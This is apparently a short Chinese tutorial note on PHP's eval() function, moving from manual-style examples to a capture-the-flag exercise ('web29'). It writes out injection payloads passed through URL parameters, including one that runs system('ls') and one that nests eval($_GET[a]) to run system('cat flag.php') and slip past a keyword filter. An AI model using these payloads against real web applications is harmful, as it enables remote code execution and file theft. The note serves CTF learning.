php eval()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
eval — 把字符串作为PHP代码执行
说明 eval(string $code )
把字符串 code 作为PHP代码执行。
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。 如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。
范例
示例 #1 eval()例子 - 简单的文本合并
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
得到的结果
This is a $string with my $name in it.
This is a cup with my coffee in it.
2、拼接参数
<?php
$str = '<?php echo "test"; ?>';
eval('?>'.$str.'<?php;');
eval('?>'.$str.'<?');
eval('?>'.$str.'<?php');
?>
如上例子,在命令执行中,就可以构造语句来进行命令执行 ,以web29为例子
类似这种?c=echo ‘’?><?php system(‘ls’);
或者根据eval()中的参数是执行php代码,构造?c=eval($_GET[a])?>&a=system(‘cat flag.php’);
将a的值get进去,就避免了flag被代码中的preg_match("/flag/i", $c) 给过滤掉,如下,成功执行
就此,可以利用eval()函数的特性去构造来绕过一些限制了,还有一些其他的可以学习这个网站:https://www.php.net/manual/zh/function.eval.php 还有很多东西要学!
|